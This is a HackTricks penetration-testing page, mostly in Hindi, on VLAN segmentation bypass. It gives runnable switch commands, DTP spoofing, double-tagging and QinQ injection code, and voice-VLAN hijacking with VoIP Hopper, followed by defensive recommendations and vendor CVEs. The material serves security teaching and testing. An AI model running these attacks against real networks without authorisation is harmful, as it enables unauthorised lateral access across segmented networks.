Lateral VLAN Segmentation Bypass
Reading time: 9 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
यदि स्विच तक सीधा पहुंच उपलब्ध है, तो VLAN विभाजन को बायपास किया जा सकता है। इसमें जुड़े पोर्ट को ट्रंक मोड में फिर से कॉन्फ़िगर करना, लक्षित VLANs के लिए वर्चुअल इंटरफेस स्थापित करना, और IP पते सेट करना शामिल है, या तो गतिशील (DHCP) या स्थिर, परिदृश्य के आधार पर (अधिक विवरण के लिए देखें https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9).
शुरुआत में, विशिष्ट जुड़े पोर्ट की पहचान आवश्यक है। यह आमतौर पर CDP संदेशों के माध्यम से किया जा सकता है, या include मास्क के माध्यम से पोर्ट की खोज करके।
यदि CDP कार्यशील नहीं है, तो MAC पते की खोज करके पोर्ट की पहचान करने का प्रयास किया जा सकता है:
SW1(config)# show mac address-table | include 0050.0000.0500
ट्रंक मोड में स्विच करने से पहले, मौजूदा VLANs की एक सूची तैयार की जानी चाहिए, और उनके पहचानकर्ताओं का निर्धारण किया जाना चाहिए। ये पहचानकर्ता फिर इंटरफेस को सौंपे जाते हैं, जिससे ट्रंक के माध्यम से विभिन्न VLANs तक पहुंच सक्षम होती है। उपयोग में पोर्ट, उदाहरण के लिए, VLAN 10 से संबंधित है।
SW1# show vlan brief
ट्रंक मोड में संक्रमण का अर्थ है इंटरफेस कॉन्फ़िगरेशन मोड में प्रवेश करना:
SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk
ट्रंक मोड में स्विच करने से अस्थायी रूप से कनेक्टिविटी बाधित होगी, लेकिन इसे बाद में बहाल किया जा सकता है।
फिर वर्चुअल इंटरफेस बनाए जाते हैं, VLAN IDs सौंपे जाते हैं, और सक्रिय किए जाते हैं:
# Legacy (vconfig) – still works but deprecated in modern kernels
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
sudo vconfig add eth0 60
sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up
# Modern (ip-link – preferred)
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip link set eth0.10 up
sudo ip link set eth0.20 up
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
इसके बाद, DHCP के माध्यम से एक पता अनुरोध किया जाता है। वैकल्पिक रूप से, उन मामलों में जहां DHCP संभव नहीं है, पतों को मैन्युअल रूप से कॉन्फ़िगर किया जा सकता है:
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
इंटरफेस (VLAN 10) पर स्थिर IP पता मैन्युअल रूप से सेट करने का उदाहरण:
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
# or
sudo ip addr add 10.10.10.66/24 dev eth0.10
कनेक्टिविटी का परीक्षण VLANs 10, 20, 50, और 60 के लिए डिफ़ॉल्ट गेटवे पर ICMP अनुरोध शुरू करके किया जाता है।
अंततः, यह प्रक्रिया VLAN विभाजन को बायपास करने की अनुमति देती है, जिससे किसी भी VLAN नेटवर्क तक बिना किसी प्रतिबंध के पहुंच प्राप्त होती है, और आगे की क्रियाओं के लिए मंच तैयार होता है।
अन्य VLAN-Hopping तकनीकें (कोई विशेषाधिकार प्राप्त स्विच CLI नहीं)
पिछली विधि मानती है कि स्विच पर प्रमाणित कंसोल या Telnet/SSH पहुंच है। वास्तविक दुनिया में, हमलावर आमतौर पर एक सामान्य एक्सेस पोर्ट से जुड़ा होता है। निम्नलिखित लेयर-2 ट्रिक्स अक्सर आपको स्विच OS में लॉग इन किए बिना पार्श्व रूप से पिवट करने की अनुमति देती हैं:
1. स्विच-स्पूफिंग के साथ डायनामिक ट्रंकिंग प्रोटोकॉल (DTP)
Cisco स्विच जो DTP को सक्षम रखते हैं, वे खुशी-खुशी एक ट्रंक का सौदा करते हैं यदि समकक्ष यह दावा करता है कि वह एक स्विच है। एकल DTP “desirable” या “trunk” फ्रेम बनाना एक्सेस पोर्ट को 802.1Q ट्रंक में परिवर्तित करता है जो सभी अनुमत VLANs को ले जाता है।
Yersinia और कई PoCs इस प्रक्रिया को स्वचालित करते हैं:
# Become a trunk using Yersinia (GUI)
sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
git clone https://github.com/fleetcaptain/dtp-spoof.git
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
Recon helper (पैसिवली पोर्ट के DTP स्थिति की पहचान करें):
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
# or
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
sudo python3 dtpscan.py -i eth0
एक बार जब पोर्ट ट्रंक पर स्विच हो जाता है, आप 802.1Q उप-इंटरफेस बना सकते हैं और ठीक उसी तरह पिवट कर सकते हैं जैसे पिछले अनुभाग में दिखाया गया है।
2. डबल-टैगिंग (नेटीव-VLAN दुरुपयोग)
यदि हमलावर नेटीव (अनटैग्ड) VLAN पर बैठा है, तो दो 802.1Q हेडर वाला एक तैयार फ्रेम दूसरे VLAN में कूद सकता है, भले ही पोर्ट एक्सेस मोड में लॉक हो। VLANPWN DoubleTagging.py (2022-2025 रिफ्रेश) जैसे टूल इंजेक्शन को स्वचालित करते हैं:
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54
3. QinQ (802.1ad) Stacking
कई उद्यम कोर Q-in-Q सेवा-प्रदाता एनकैप्सुलेशन का समर्थन करते हैं। जहाँ अनुमति है, एक हमलावर सुरक्षा क्षेत्रों को पार करने के लिए एक प्रदाता (S-tag) के अंदर मनमाने 802.1Q-टैग किए गए ट्रैफ़िक को टनल कर सकता है। ethertype 0x88a8
के लिए कैप्चर करें और Scapy के साथ बाहरी टैग को पॉप करने का प्रयास करें:
from scapy.all import *
outer = 100 # Service tag
inner = 30 # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing)
कॉर्पोरेट एक्सेस पोर्ट अक्सर “access + voice” कॉन्फ़िगरेशन में होते हैं: वर्कस्टेशन के लिए अनटैग्ड डेटा VLAN और CDP या LLDP-MED के माध्यम से विज्ञापित टैग्ड वॉयस VLAN। एक IP फोन का अनुकरण करके, हमलावर स्वचालित रूप से VoIP VLAN का पता लगा सकता है और उसमें कूद सकता है—यहां तक कि जब DTP बंद हो।
VoIP Hopper (Kali 2025.2 में पैक किया गया) CDP, DHCP विकल्प 176/242, और पूर्ण LLDP-MED स्पूफिंग का समर्थन करता है:
# One-shot discovery & hop
sudo voiphopper -i eth0 -f cisco-7940
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
sudo voiphopper -i eth0 -z
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
The technique data/voice separation को बायपास करता है और 2025 में एंटरप्राइज एज स्विच पर अत्यधिक सामान्य है क्योंकि कई मॉडलों पर LLDP ऑटो-नीति डिफ़ॉल्ट रूप से सक्षम है।
Defensive Recommendations
- सभी उपयोगकर्ता-फेसिंग पोर्ट पर DTP को निष्क्रिय करें:
switchport mode access
+switchport nonegotiate
। - प्रत्येक ट्रंक पर मूल VLAN को एक अप्रयुक्त, ब्लैक-होल VLAN में बदलें और इसे टैग करें:
vlan dot1q tag native
। - ट्रंक पर अनावश्यक VLANs को प्रून करें:
switchport trunk allowed vlan 10,20
। - पोर्ट सुरक्षा, DHCP स्नूपिंग, डायनामिक ARP निरीक्षण और 802.1X को लागू करें ताकि बगैर अनुमति के लेयर-2 गतिविधियों को सीमित किया जा सके।
- यदि IP-फोन स्पूफिंग की आवश्यकता नहीं है तो LLDP-MED ऑटो वॉयस नीतियों को निष्क्रिय करें (या उन्हें प्रमाणित MAC OUIs पर लॉक करें)।
- केवल 802.1Q विभाजन पर निर्भर रहने के बजाय प्राइवेट-VLANs या L3 विभाजन को प्राथमिकता दें।
Real-World Vendor Vulnerabilities (2022-2024)
यहां तक कि एक पूरी तरह से हार्डन की गई स्विच कॉन्फ़िगरेशन को भी फर्मवेयर बग द्वारा कमजोर किया जा सकता है। हाल के उदाहरणों में शामिल हैं:
- CVE-2022-20728† – Cisco Aironet/Catalyst Access Points मूल VLAN से गैर-मूल WLAN VLANs में इंजेक्शन की अनुमति देते हैं, वायर्ड/वायरलेस विभाजन को बायपास करते हैं।
- CVE-2024-20465 (Cisco IOS Industrial Ethernet) SVIs पर ACL बायपास की अनुमति देता है Resilient Ethernet Protocol को टॉगल करने के बाद, VRFs/VLANs के बीच ट्रैफ़िक लीक करता है। पैच 17.9.5 या बाद में।
हमेशा VLAN-संबंधित बायपास/ACL मुद्दों के लिए विक्रेता सलाह की निगरानी करें और बुनियादी ढांचे की छवियों को अद्यतित रखें।
References
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- VLANPWN हमला टूलकिट – https://github.com/casterbytethrowback/VLANPWN
- Twingate "VLAN Hopping क्या है?" (अगस्त 2024) – https://www.twingate.com/blog/glossary/vlan%20hopping
- VoIP Hopper प्रोजेक्ट – https://github.com/hmgh0st/voiphopper
- Cisco Advisory “cisco-sa-apvlan-TDTtb4FY” – https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।